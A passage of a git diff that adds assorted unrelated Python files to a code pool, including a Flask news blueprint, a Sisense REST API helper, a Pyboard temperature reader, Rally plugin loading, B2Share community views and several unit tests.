sgf) in result_list: + print (first_is_black, first_win, sgf) + f.write ("%s\n" % format_report_line (series_id, first_is_black, first_win, sgf)) + f.close () + return 0 + + +def list_workers (): + s = "ACTIVE:\n" + t_now = datetime.datetime.now() + for w in workers: + d = t_now - workers[w] + mark = " *" if d.seconds > 60 else "" + s += "%s %s %s\n" % (w, str(d), mark) + s += "IDLE:\n" + for w in idle_workers: + d = t_now - idle_workers[w] + mark = " *" if d.seconds > 60 else "" + s += "%s %s %s\n" % (w, str(d), mark) + return s + +os.makedirs (log_dir) +os.chdir (log_dir) + +address = "students.mimuw.edu.pl", 7553 +server = SimpleXMLRPCServer (address) + +server.register_function (get_game_setup, "get_game_setup") +server.register_function (report_game_result, "report_game_result") +server.register_function (list_workers, "list_workers") +server.register_function (report_idling, "report_idling") + +print "Listening on port %d..." % address[1] + +f = open (report_file, "a") +f.write ("%s\n" % csv_header) +f.close () + +server.serve_forever() diff --git a/pool/shard000/Python/0007664_news.py b/pool/shard000/Python/0007664_news.py new file mode 100644 index 0000000000000000000000000000000000000000..31cb50458635b25e38d4b25bc49b61bb407c5d83 --- /dev/null +++ b/pool/shard000/Python/0007664_news.py @@ -0,0 +1,140 @@ +from datetime import date, datetime + +from flask import Blueprint, abort, render_template, request, flash, \ + redirect, url_for +from flask_babel import _ # gettext +from flask_login import current_user +from sqlalchemy import desc +from werkzeug.contrib.atom import AtomFeed + +from app import db +from app.decorators import require_role +from app.forms import init_form +from app.forms.news import NewsForm +from app.models.news import News +from app.roles import Roles +from app.service import role_service + +blueprint = Blueprint('news', __name__, url_prefix='/news') + + +@blueprint.route('/', methods=['GET']) +@blueprint.route('//', methods=['GET']) +def list(page_nr=1): + items = News.query.filter(News.publish_date <= date.today(), + db.or_(News.archive_date >= date.today(), + News.archive_date == None), # noqa + db.or_(current_user.has_paid, + db.not_(News.needs_paid))) \ + .order_by(desc(News.publish_date)) + + can_write = role_service.user_has_role(current_user, Roles.NEWS_WRITE) + return render_template('news/list.htm', + items=items.paginate(page_nr, 10, False), + archive=False, can_write=can_write) + + +@blueprint.route('/all/', methods=['GET']) +@blueprint.route('/all//', methods=['GET']) +def all(page_nr=1): + return render_template('news/list.htm', + items=News.query.paginate(page_nr, 10, False), + archive=False) + + +@blueprint.route('/archive/', methods=['GET']) +@blueprint.route('/archive//', methods=['GET']) +def archive(page_nr=1): + items = News.query.filter(db.and_(News.archive_date < date.today(), + News.archive_date != None)) # noqa + + return render_template('news/list.htm', + items=items.paginate(page_nr, 10, False), + archive=True) + + +@blueprint.route('/create/', methods=['GET', 'POST']) +@blueprint.route('/edit//', methods=['GET', 'POST']) +@require_role(Roles.NEWS_WRITE) +def edit(news_id=None): + if news_id: + news_item = News.query.get_or_404(news_id) + else: + news_item = News() + + form = init_form(NewsForm, obj=news_item) + + if form.validate_on_submit(): + + # fill the news_item with the form entries. + form.populate_obj(news_item) + + # Only set writer if post is brand new + if not news_item.id: + news_item.user_id = current_user.id + + db.session.add(news_item) + db.session.commit() + + news_id = news_item.id + flash(_('News item saved'), 'success') + + return redirect(url_for('news.view', news_id=news_id)) + + return render_template('news/edit.htm', form=form, news_id=news_id) + + +@blueprint.route('/view/', methods=['GET']) +@blueprint.route('/view//', methods=['GET']) +def view(news_id=None): + if not news_id: + flash(_('This news item does not exist'), 'danger') + return redirect(url_for('news.list')) + + news = News.query.get_or_404(news_id) + if not news.can_read(): + return abort(403) + + can_write = role_service.user_has_role(current_user, Roles.NEWS_WRITE) + + return render_template('news/view_single.htm', news=news, + can_write=can_write) + + +@blueprint.route('/delete/', methods=['GET']) +@blueprint.route('/delete//', methods=['GET']) +@require_role(Roles.NEWS_WRITE) +def delete(news_id=None): + if not news_id: + flash(_('This news item does not exist'), 'danger') + return redirect(url_for('news.list')) + + news = News.query.get_or_404(news_id) + db.session.delete(news) + db.session.commit() + + flash(_('News item succesfully deleted'), 'success') + + return redirect(url_for('news.list')) + + +@blueprint.route('/rss/', methods=['GET']) +@blueprint.route('/rss//') +def rss(locale='en'): + name = 'via nieuws' if locale == 'nl' else 'via news' + feed = AtomFeed(name, feed_url=request.url, url=request.url_root) + items = News.query.filter(News.publish_date <= date.today(), + db.or_(News.archive_date >= date.today(), + News.archive_date == None), # noqa + db.or_(db.not_(News.needs_paid))) \ + .order_by(News.publish_date.desc()).limit(20) + + for item in items: + published = datetime.combine(item.publish_date, datetime.min.time()) + title, content = item.get_localized_title_content(locale) + feed.add(title, content, id=item.id, content_type='markdown', + published=published, updated=published, + url=url_for('news.view', news_id=item.id), + author=item.user.name) + + return feed.get_response() diff --git a/pool/shard000/Python/0007667_rest_api_helper.py b/pool/shard000/Python/0007667_rest_api_helper.py new file mode 100644 index 0000000000000000000000000000000000000000..e86ab2e63a4c9622cfe95fb37d5fc56425f56d66 --- /dev/null +++ b/pool/shard000/Python/0007667_rest_api_helper.py @@ -0,0 +1,238 @@ +#!/usr/bin/python +# +# Copyright 2021 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from functools import lru_cache +import logging +import requests +from requests import Response +from typing import Any, Dict, List, Union + +from google.datacatalog_connectors.sisense.scrape import \ + authenticator, constants + + +class RESTAPIHelper: + + def __init__(self, server_address: str, api_version: str, username: str, + password: str): + + self.__server_address = server_address + self.__api_version = api_version + self.__username = username + self.__password = password + + self.__base_api_endpoint = f'{server_address}/api/{api_version}' + self.__common_headers = { + 'Content-Type': constants.JSON_CONTENT_TYPE, + 'Accept': constants.JSON_CONTENT_TYPE + } + + self.__auth_credentials = None + + def get_all_dashboards(self) -> List[Dict[str, Any]]: + """Get all Dashboards the user has access to on a given server. + + Returns: + A ``list``. + + Raises: + Exception: If the API returns any status code than ``200``. + """ + self.__set_up_auth() + + url = f'{self.__base_api_endpoint}/dashboards' + response = requests.get(url=url, headers=self.__common_headers) + # ``GET /dashboards`` currently does not support pagination. + all_dashboards = self.__get_response_body_or_raise(response) + + # ``GET /dashboards`` returns an array containing a mix of summary + # objects for dashboards that are shared with the current user and full + # objects for dashboards that are owned by the user. Such summary + # objects contain only the ``oid`` and ``lastPublish`` fields. + # + # So, we check the presence of ``_id`` to determine whether an object + # refers to a shared dashboard or not. If ``_id`` is absent, we need to + # perform extra API calls to ``GET dashboards/{id}``, passing ``oid`` + # as parameter, in order to get detailed metadata for each shared + # dashboard. + shared_dashboards = [ + dashboard for dashboard in all_dashboards + if not dashboard.get('_id') + ] + for shared_dashboard in shared_dashboards: + all_dashboards.remove(shared_dashboard) + all_dashboards.extend([ + self.get_dashboard(dashboard.get('oid')) + for dashboard in shared_dashboards + ]) + + return all_dashboards + + def get_dashboard(self, dashboard_id: str) -> Dict[str, Any]: + """Get a specific Dashboard. + + Returns: + A Dashboard object. + + Raises: + Exception: If the API returns any status code than ``200``. + """ + self.__set_up_auth() + url = f'{self.__base_api_endpoint}/dashboards/{dashboard_id}' + response = requests.get(url=url, headers=self.__common_headers) + return self.__get_response_body_or_raise(response) + + def get_all_folders(self) -> List[Dict[str, Any]]: + """Get all Folders the user has access to on a given server. + + Returns: + A ``list``. + + Raises: + Exception: If the API returns any status code than ``200``. + """ + self.__set_up_auth() + + # Sisense can return the folders in flat (default) or tree structures. + # We decided for flat because it supports standard pagination handling + # (paginating a tree structure would require extra programming effort). + url = f'{self.__base_api_endpoint}/folders?structure=flat' + return self.__get_list_using_pagination(base_url=url, + results_per_page=50) + + @lru_cache(maxsize=128) + def get_user(self, user_id: str) -> Dict[str, Any]: + """Get a specific User. + + Returns: + A User object. + + Raises: + Exception: If the API returns any status code than ``200``. + """ + self.__set_up_auth() + url = f'{self.__base_api_endpoint}/users/{user_id}' + response = requests.get(url=url, headers=self.__common_headers) + return self.__get_response_body_or_raise(response) + + def get_widgets(self, dashboard_id) -> List[Dict[str, Any]]: + """Get all Widgets belonging to a given Dashboard. + + Returns: + A ``list``. + + Raises: + Exception: If the API returns any status code than ``200``. + """ + self.__set_up_auth() + + url = f'{self.__base_api_endpoint}/dashboards/{dashboard_id}/widgets' + return self.__get_list_using_pagination(base_url=url, + results_per_page=50) + + def __set_up_auth(self) -> None: + if self.__auth_credentials: + return + + self.__auth_credentials = \ + authenticator.Authenticator.authenticate( + self.__server_address, + self.__api_version, + self.__username, + self.__password) + + self.__common_headers[constants.AUTHORIZATION_HEADER_NAME] = \ + f'{constants.BEARER_TOKEN_PREFIX}' \ + f' {self.__auth_credentials["access_token"]}' + + def __get_list_using_pagination(self, + base_url: str, + results_per_page: int, + id_field='oid') -> List[Dict[str, Any]]: + """Get a ``List`` using pagination. + + Args: + base_url: The url to which the ``skip`` and ``limit`` query + parameters will be appended to handle pagination accordingly. + results_per_page: The number of results per page. Must be greater + than 1. + + Returns: + A ``list``. + """ + if results_per_page <= 1: + raise ValueError('results_per_page must be greater than 1') + + results = [] + query_param_prefix = '?' if '?' not in base_url else '&' + + page_count = 0 + page_results = [] + # Sisense APIs may add more results to some pages than specified by the + # ``results_per_page`` argument. It happens in the ``GET /folders`` + # pages, for instance: all pages include the ``rootFolder``, resulting + # in ``results_per_page + 1`` folders in all pages but the last. + # Given this behavior, we need ``results_per_page`` to be greater than + # ``1`` and to use the ``>=`` operator to decide between executing the + # ``while`` loop or not, to avoid issues. + while page_count == 0 or len(page_results) >= results_per_page: + offset = page_count * results_per_page + url = f'{base_url}{query_param_prefix}skip={offset}' \ + f'&limit={results_per_page}' + response = requests.get(url=url, headers=self.__common_headers) + page_results = self.__get_response_body_or_raise(response) + results.extend(page_results) + page_count += 1 + logging.info(f'page {page_count}: {len(page_results)} results') + + logging.info('') + logging.info('Removing potential duplicates...') + # Set comprehension is used to remove potential duplicates after + # merging the results, e.g.: the ``rootFolder`` that comes in all + # ``GET /folders`` pages. + unique_ids = {result.get(id_field) for result in results} + + unique_results = [] + for unique_id in unique_ids: + unique_results.append( + next(result for result in results + if result.get(id_field) == unique_id)) + + return unique_results + + @classmethod + def __get_response_body_or_raise( + cls, + response: Response) -> Union[Dict[str, Any], List[Dict[str, Any]]]: + """Get the response body on successful API call or raise an exception. + + Returns: + A ``Dict`` or ``List``. + + Raises: + Exception: If the API returns any status code than ``200``. + """ + + status_code = response.status_code + + if status_code == 200: + return response.json() + + # Raise exception for all status codes other than ``200`` to let the + # caller know what went wrong. + error = response.json().get('error') or {} + logging.warning('error on API call: %s', error) + raise Exception(error.get('message')) diff --git a/pool/shard000/Python/0007668_grove_temp.py b/pool/shard000/Python/0007668_grove_temp.py new file mode 100644 index 0000000000000000000000000000000000000000..2e16857477a1dab76ee541dcbaccc1b5a3c8e0e9 --- /dev/null +++ b/pool/shard000/Python/0007668_grove_temp.py @@ -0,0 +1,20 @@ +# Pyboard code for reading a grove temp sensor connected to X1 + +import pyb +import math + +B = 4275 + +temp_adc = pyb.ADC('X1') + +def read_temp(): + temp_raw = temp_adc.read() + R = (4095 / temp_raw) - 1.0 + + temp = 1.0 / (math.log(R) / B + 1/298.15) - 273.15 + return temp + +while True: + t = read_temp() + print('temp =', t) + pyb.delay(1000) diff --git a/pool/shard000/Python/0007671_init__.py b/pool/shard000/Python/0007671_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..795ece79dc7d2a51e34f43606e7d6f5c85d1bfeb --- /dev/null +++ b/pool/shard000/Python/0007671_init__.py @@ -0,0 +1,60 @@ +# Copyright 2015: Mirantis Inc. +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import functools +import os + +from rally.common.plugin import discover + + +PLUGINS_LOADED = False + + +def load(): + global PLUGINS_LOADED + + if not PLUGINS_LOADED: + from rally.common import opts + + opts.register() + + # NOTE(andreykurilin): `rally.plugins.common` includes deprecated + # modules. As soon as they will be removed the direct import of + # validators should be replaced by + # + # discover.import_modules_from_package("rally.plugins.common") + from rally.plugins.common import validators # noqa: F401 + + discover.import_modules_from_package("rally.plugins.task") + discover.import_modules_from_package("rally.plugins.verification") + + packages = discover.find_packages_by_entry_point() + for package in packages: + if "options" in package: + opts.register_options_from_path(package["options"]) + discover.import_modules_by_entry_point(_packages=packages) + + discover.load_plugins("/opt/rally/plugins/") + discover.load_plugins(os.path.expanduser("~/.rally/plugins/")) + + PLUGINS_LOADED = True + + +def ensure_plugins_are_loaded(func): + @functools.wraps(func) + def wrapper(*args, **kwargs): + load() + return func(*args, **kwargs) + return wrapper diff --git a/pool/shard000/Python/0007672_mysql_tests.py b/pool/shard000/Python/0007672_mysql_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..ab58494409123f1f7dee53576f09d9bd522c3324 --- /dev/null +++ b/pool/shard000/Python/0007672_mysql_tests.py @@ -0,0 +1,164 @@ +# -*- coding: utf-8 -*- + +# BSD 3-Clause License +# +# Copyright (c) 2019, Elasticsearch BV +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# * Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. +# +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# * Neither the name of the copyright holder nor the names of its +# contributors may be used to endorse or promote products derived from +# this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +from elasticapm.instrumentation.packages.mysql import extract_signature + + +def test_insert(): + sql = """INSERT INTO `mytable` (id, name) VALUE ('2323', 'Ron')""" + actual = extract_signature(sql) + + assert "INSERT INTO mytable" == actual + + +def test_update(): + sql = """UPDATE `mytable` set name='Ron' WHERE id = 2323""" + actual = extract_signature(sql) + + assert "UPDATE mytable" == actual + + +def test_delete(): + sql = """DELETE FROM `mytable` WHERE id = 2323""" + actual = extract_signature(sql) + + assert "DELETE FROM mytable" == actual + + +def test_select_simple(): + sql = """SELECT `id`, `name` FROM `mytable` WHERE id = 2323""" + actual = extract_signature(sql) + + assert "SELECT FROM mytable" == actual + + +def test_select_with_entity_quotes(): + sql = """SELECT `id`, `name` FROM `mytable` WHERE id = 2323""" + actual = extract_signature(sql) + + assert "SELECT FROM mytable" == actual + + +def test_select_with_difficult_values(): + sql = """SELECT id, 'some \\'name' + " from Denmark" FROM `mytable` WHERE id = 2323""" + actual = extract_signature(sql) + + assert "SELECT FROM mytable" == actual + + +def test_select_with_difficult_table_name(): + sql = u"""SELECT id FROM `myta\n-æøåble` WHERE id = 2323""" + actual = extract_signature(sql) + + assert u"SELECT FROM myta\n-æøåble" == actual + + +def test_select_subselect(): + sql = """SELECT id, name FROM ( + SELECT id, "not a FROM ''value" FROM mytable WHERE id = 2323 + ) LIMIT 20""" + actual = extract_signature(sql) + + assert "SELECT FROM mytable" == actual + + +def test_select_subselect_with_alias(): + sql = """ + SELECT count(*) + FROM ( + SELECT count(id) AS some_alias, some_column + FROM mytable + GROUP BY some_colun + HAVING count(id) > 1 + ) AS foo + """ + actual = extract_signature(sql) + + assert "SELECT FROM mytable" == actual + + +def test_select_with_multiple_tables(): + sql = """SELECT count(table2.id) + FROM table1, table2, table2 + WHERE table2.id = table1.table2_id + """ + actual = extract_signature(sql) + assert "SELECT FROM table1" == actual + + +def test_select_with_invalid_literal(): + sql = 'SELECT "neverending literal FROM (SELECT * FROM ...' "" + actual = extract_signature(sql) + + assert "SELECT FROM" == actual + + +def test_savepoint(): + sql = """SAVEPOINT x_asd1234""" + actual = extract_signature(sql) + + assert "SAVEPOINT" == actual + + +def test_begin(): + sql = """BEGIN""" + actual = extract_signature(sql) + + assert "BEGIN" == actual + + +def test_create_index_with_name(): + sql = """CREATE INDEX myindex ON mytable""" + actual = extract_signature(sql) + + assert "CREATE INDEX" == actual + + +def test_create_index_without_name(): + sql = """CREATE INDEX ON mytable""" + actual = extract_signature(sql) + + assert "CREATE INDEX" == actual + + +def test_drop_table(): + sql = """DROP TABLE mytable""" + actual = extract_signature(sql) + + assert "DROP TABLE" == actual + + +def test_multi_statement_sql(): + sql = """CREATE TABLE mytable; SELECT * FROM mytable; DROP TABLE mytable""" + actual = extract_signature(sql) + + assert "CREATE TABLE" == actual diff --git a/pool/shard000/Python/0007679_views.py b/pool/shard000/Python/0007679_views.py new file mode 100644 index 0000000000000000000000000000000000000000..4a6dfa7425543da8f952d4cf30516dc812135e55 --- /dev/null +++ b/pool/shard000/Python/0007679_views.py @@ -0,0 +1,312 @@ +# -*- coding: utf-8 -*- +# +# This file is part of EUDAT B2Share. +# Copyright (C) 2016 University of Tuebingen, CERN. +# Copyright (C) 2015 University of Tuebingen. +# +# B2Share is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 2 of the +# License, or (at your option) any later version. +# +# B2Share is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with B2Share; if not, write to the Free Software Foundation, Inc., +# 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. +# +# In applying this license, CERN does not +# waive the privileges and immunities granted to it by virtue of its status +# as an Intergovernmental Organization or submit itself to any jurisdiction. + +"""B2Share Communities REST API""" + +from __future__ import absolute_import + +from functools import wraps + +from flask import Blueprint, abort, current_app, make_response, request, \ + jsonify, url_for +from invenio_db import db +from invenio_rest import ContentNegotiatedMethodView +from invenio_rest.decorators import require_content_types +from jsonpatch import InvalidJsonPatch, JsonPatchConflict, JsonPatchException +from werkzeug.exceptions import HTTPException +from werkzeug.local import LocalProxy + +from .api import Community +from .errors import CommunityDeletedError, CommunityDoesNotExistError, \ + InvalidCommunityError +from .permissions import communities_create_all_permission, \ + delete_permission_factory, read_permission_factory, \ + update_permission_factory +from .serializers import community_to_json_serializer, \ + search_to_json_serializer, community_self_link +from b2share.utils import is_valid_uuid + +current_communities = LocalProxy( + lambda: current_app.extensions['b2share-communities']) + +blueprint = Blueprint( + 'b2share_communities', + __name__, + url_prefix='/communities' +) + + +def pass_community(f): + """Decorator to retrieve a community.""" + @wraps(f) + def inner(self, community_id, *args, **kwargs): + try: + if is_valid_uuid(community_id): + community = Community.get(id=community_id) + else: + community = Community.get(name=community_id) + except (CommunityDoesNotExistError): + abort(404) + except (CommunityDeletedError): + abort(410) + + return f(self, community=community, *args, **kwargs) + return inner + + +def verify_community_permission(permission_factory, community): + """Check that the current user has the required permissions on community. + + Args: + permission_factory: permission factory used to check permissions. + community: community whose access is limited. + """ + # Note, cannot be done in one line due overloading of boolean + # operations permission object. + if not permission_factory(community).can(): + from flask_login import current_user + if not current_user.is_authenticated: + abort(401) + abort(403) + + +def need_community_permission(permission_factory): + """Decorator checking that the user has the required community permissions. + + Args: + factory_name: name of the factory to retrieve. + """ + def need_community_permission_builder(f): + @wraps(f) + def need_community_permission_decorator(self, community, *args, + **kwargs): + verify_community_permission(permission_factory, community) + return f(self, community=community, *args, **kwargs) + return need_community_permission_decorator + return need_community_permission_builder + + +def _generic_search_result(item_array): + self_link = url_for('b2share_communities.communities_list', _external=True) + return { + 'hits': { + 'hits':item_array, + 'total':len(item_array) + }, + 'links':{ + 'self': self_link, + } + } + + +class CommunityListResource(ContentNegotiatedMethodView): + + view_name = 'communities_list' + + def __init__(self, **kwargs): + """Constructor.""" + super(CommunityListResource, self).__init__( + method_serializers={ + 'GET': { + 'application/json': search_to_json_serializer, + }, + 'POST': { + 'application/json': community_to_json_serializer, + }, + }, + default_method_media_type={ + 'GET': 'application/json', + 'POST': 'application/json', + }, + default_media_type='application/json', + **kwargs) + + def get(self): + """Retrieve a list of communities.""" + # TODO: change this to a search function, not just a list of communities + from .serializers import community_to_dict + start = request.args.get('start') or 0 + stop = request.args.get('stop') or 100 + community_list = Community.get_all(start, stop) + community_dict_list = [community_to_dict(c) for c in community_list] + response_dict = _generic_search_result(community_dict_list) + response = jsonify(response_dict) + # TODO: set etag + return response + + # def post(self): + # """Create a new community.""" + # if request.content_type != 'application/json': + # abort(415) + # data = request.get_json() + # if data is None: + # return abort(400) + # # check user permissions + # if (not current_communities.rest_access_control_disabled and + # not communities_create_all_permission.can()): + # from flask_login import current_user + # if not current_user.is_authenticated: + # abort(401) + # abort(403) + + # try: + # community = Community.create_community(**data) + # response = self.make_response( + # community=community, + # code=201, + # ) + # # set the header's Location field. + # response.headers['Location'] = community_self_link(community) + # db.session.commit() + # return response + # except InvalidCommunityError as e1: + # try: + # db.session.rollback() + # except Exception as e2: + # raise e2 from e1 + # abort(400) + # except Exception as e1: + # try: + # db.session.rollback() + # except Exception as e2: + # raise e2 from e1 + # if isinstance(e1, HTTPException): + # raise e1 + # current_app.logger.exception('Failed to create record.') + # abort(500) + + +class CommunityResource(ContentNegotiatedMethodView): + + view_name = 'communities_item' + + def __init__(self, **kwargs): + """Constructor.""" + super(CommunityResource, self).__init__( + serializers={ + 'application/json': community_to_json_serializer, + }, + method_serializers={ + 'DELETE': {'*/*': lambda *args: make_response(*args), }, + }, + default_method_media_type={ + 'GET': 'application/json', + 'PUT': 'application/json', + 'DELETE': '*/*', + 'PATCH': 'application/json', + }, + default_media_type='application/json', + **kwargs) + + # @pass_community + # @need_community_permission(delete_permission_factory) + # def delete(self, community, **kwargs): + # """Delete a community.""" + # # check the ETAG + # self.check_etag(str(community.updated)) + # try: + # community.delete() + # db.session.commit() + # except Exception as e1: + # current_app.logger.exception('Failed to create record.') + # try: + # db.session.rollback() + # except Exception as e2: + # raise e2 from e1 + # abort(500) + # return '', 204 + + @pass_community + #@need_community_permission(read_permission_factory) + def get(self, community, **kwargs): + """Get a community's metadata.""" + # check the ETAG + self.check_etag(str(community.updated)) + return community + + # @require_content_types('application/json-patch+json', 'application/json') + # @pass_community + # @need_community_permission(update_permission_factory) + # def patch(self, community, **kwargs): + # """Patch a community.""" + # # check the ETAG + # self.check_etag(str(community.updated)) + + # data = request.get_json(force=True) + # if data is None: + # abort(400) + # try: + # if 'application/json' == request.content_type: + # community.update(data) + # else: + # community = community.patch(data) + # db.session.commit() + # return community + # except (JsonPatchConflict): + # abort(409) + # except (JsonPatchException, InvalidJsonPatch): + # abort(400) + # except InvalidCommunityError: + # db.session.rollback() + # abort(400) + # except Exception as e1: + # current_app.logger.exception('Failed to patch record.') + # try: + # db.session.rollback() + # except Exception as e2: + # raise e2 from e1 + # abort(500) + + # @require_content_types('application/json') + # @pass_community + # @need_community_permission(update_permission_factory) + # def put(self, community, **kwargs): + # """Put a community.""" + # # check the ETAG + # self.check_etag(str(community.updated)) + + # data = request.get_json(force=True) + # if data is None: + # abort(400) + # try: + # community.update(data, clear_fields=True) + # db.session.commit() + # return community + # except InvalidCommunityError: + # db.session.rollback() + # abort(400) + # except Exception as e1: + # current_app.logger.exception('Failed to patch record.') + # try: + # db.session.rollback() + # except Exception as e2: + # raise e2 from e1 + # abort(500) + +blueprint.add_url_rule('/', + view_func=CommunityListResource + .as_view(CommunityListResource.view_name)) +blueprint.add_url_rule('/', + view_func=CommunityResource + .as_view(CommunityResource.view_name)) diff --git a/pool/shard000/Python/0007680_control.py b/pool/shard000/Python/0007680_control.py new file mode 100644 index 0000000000000000000000000000000000000000..0c932b17cfa56e6aeed4eab889f9b0830be50b2a --- /dev/null +++ b/pool/shard000/Python/0007680_control.py @@ -0,0 +1,67 @@ +# -*- coding: utf-8 -*- + +from sqlalchemy.exc import IntegrityError + +from app.shared.models import db +from app.admin.models import User + + +class AdminControlException(Exception): + pass + + +def create_new_user(kwargs): + """Create a new user in the database. + + :param kwargs: attributes of the user. + :type kwargs: dict + + """ + if kwargs is None: + raise AdminControlException('no arguments provided') + + user = User.new_user(**kwargs) + db.session.add(user) + try: + db.session.commit() + except IntegrityError as err: + raise AdminControlException(err.message) + + return user + + +def get_user_with_id(user_id): + """Retrieve an existing user from the database. + + :param user_id: id of the user to retrieve. + :type user_id: int + + """ + user = User.query.filter_by(id=user_id).first() + + if user is None: + raise AdminControlException('no user with id %d' % user_id) + else: + return user + + +def get_user_with_name(user_name): + """Retrieve an existing user from the database. + + :param user_name: username of the user to retrieve. + :type user_name: str + + """ + user = User.query.filter_by(name=user_name).first() + + if user is None: + raise AdminControlException('no user with name %s' % user_name) + else: + return user + + +def get_all_users(): + """Retrieve a list of existing users from the database. + + """ + return User.query.order_by(User.name).all() diff --git a/pool/shard000/Python/0007681_test_models.py b/pool/shard000/Python/0007681_test_models.py new file mode 100644 index 0000000000000000000000000000000000000000..0a542b1cca598c805a8c7132edebd8fafafd0f79 --- /dev/null +++ b/pool/shard000/Python/0007681_test_models.py @@ -0,0 +1,99 @@ +# -*- encoding: utf-8 -*- +# +# Copyright © 2013 Rackspace Hosting +# +# Author: Thomas Maddox +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import datetime + +import mock +import sqlalchemy +from sqlalchemy.dialects.mysql import DECIMAL +from sqlalchemy.types import NUMERIC + +from ceilometer.openstack.common import test +from ceilometer.storage.sqlalchemy import models +from ceilometer import utils + + +class PreciseTimestampTest(test.BaseTestCase): + + @staticmethod + def fake_dialect(name): + def _type_descriptor_mock(desc): + if type(desc) == DECIMAL: + return NUMERIC(precision=desc.precision, scale=desc.scale) + dialect = mock.MagicMock() + dialect.name = name + dialect.type_descriptor = _type_descriptor_mock + return dialect + + def setUp(self): + super(PreciseTimestampTest, self).setUp() + self._mysql_dialect = self.fake_dialect('mysql') + self._postgres_dialect = self.fake_dialect('postgres') + self._type = models.PreciseTimestamp() + self._date = datetime.datetime(2012, 7, 2, 10, 44) + + def test_load_dialect_impl_mysql(self): + result = self._type.load_dialect_impl(self._mysql_dialect) + self.assertEqual(NUMERIC, type(result)) + self.assertEqual(20, result.precision) + self.assertEqual(6, result.scale) + self.assertTrue(result.asdecimal) + + def test_load_dialect_impl_postgres(self): + result = self._type.load_dialect_impl(self._postgres_dialect) + self.assertEqual(sqlalchemy.DateTime, type(result)) + + def test_process_bind_param_store_decimal_mysql(self): + expected = utils.dt_to_decimal(self._date) + result = self._type.process_bind_param(self._date, self._mysql_dialect) + self.assertEqual(expected, result) + + def test_process_bind_param_store_datetime_postgres(self): + result = self._type.process_bind_param(self._date, + self._postgres_dialect) + self.assertEqual(self._date, result) + + def test_process_bind_param_store_none_mysql(self): + result = self._type.process_bind_param(None, self._mysql_dialect) + self.assertIsNone(result) + + def test_process_bind_param_store_none_postgres(self): + result = self._type.process_bind_param(None, + self._postgres_dialect) + self.assertIsNone(result) + + def test_process_result_value_datetime_mysql(self): + dec_value = utils.dt_to_decimal(self._date) + result = self._type.process_result_value(dec_value, + self._mysql_dialect) + self.assertEqual(self._date, result) + + def test_process_result_value_datetime_postgres(self): + result = self._type.process_result_value(self._date, + self._postgres_dialect) + self.assertEqual(self._date, result) + + def test_process_result_value_none_mysql(self): + result = self._type.process_result_value(None, + self._mysql_dialect) + self.assertIsNone(result) + + def test_process_result_value_none_postgres(self): + result = self._type.process_result_value(None, + self._postgres_dialect) + self.assertIsNone(result) diff --git a/pool/shard000/Python/0007682_test_nwa_l2_server_api.py b/pool/shard000/Python/0007682_test_nwa_l2_server_api.py new file mode 100644 index 0000000000000000000000000000000000000000..2a50887b734501d0e8948a05ca6994e40d96e61f --- /dev/null +++ b/pool/shard000/Python/0007682_test_nwa_l2_server_api.py @@ -0,0 +1,34 @@ +# Copyright 2016 NEC Corporation. All rights reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import mock +from neutron.tests import base + +from networking_nec.nwa.l2.rpc import nwa_l2_server_api + + 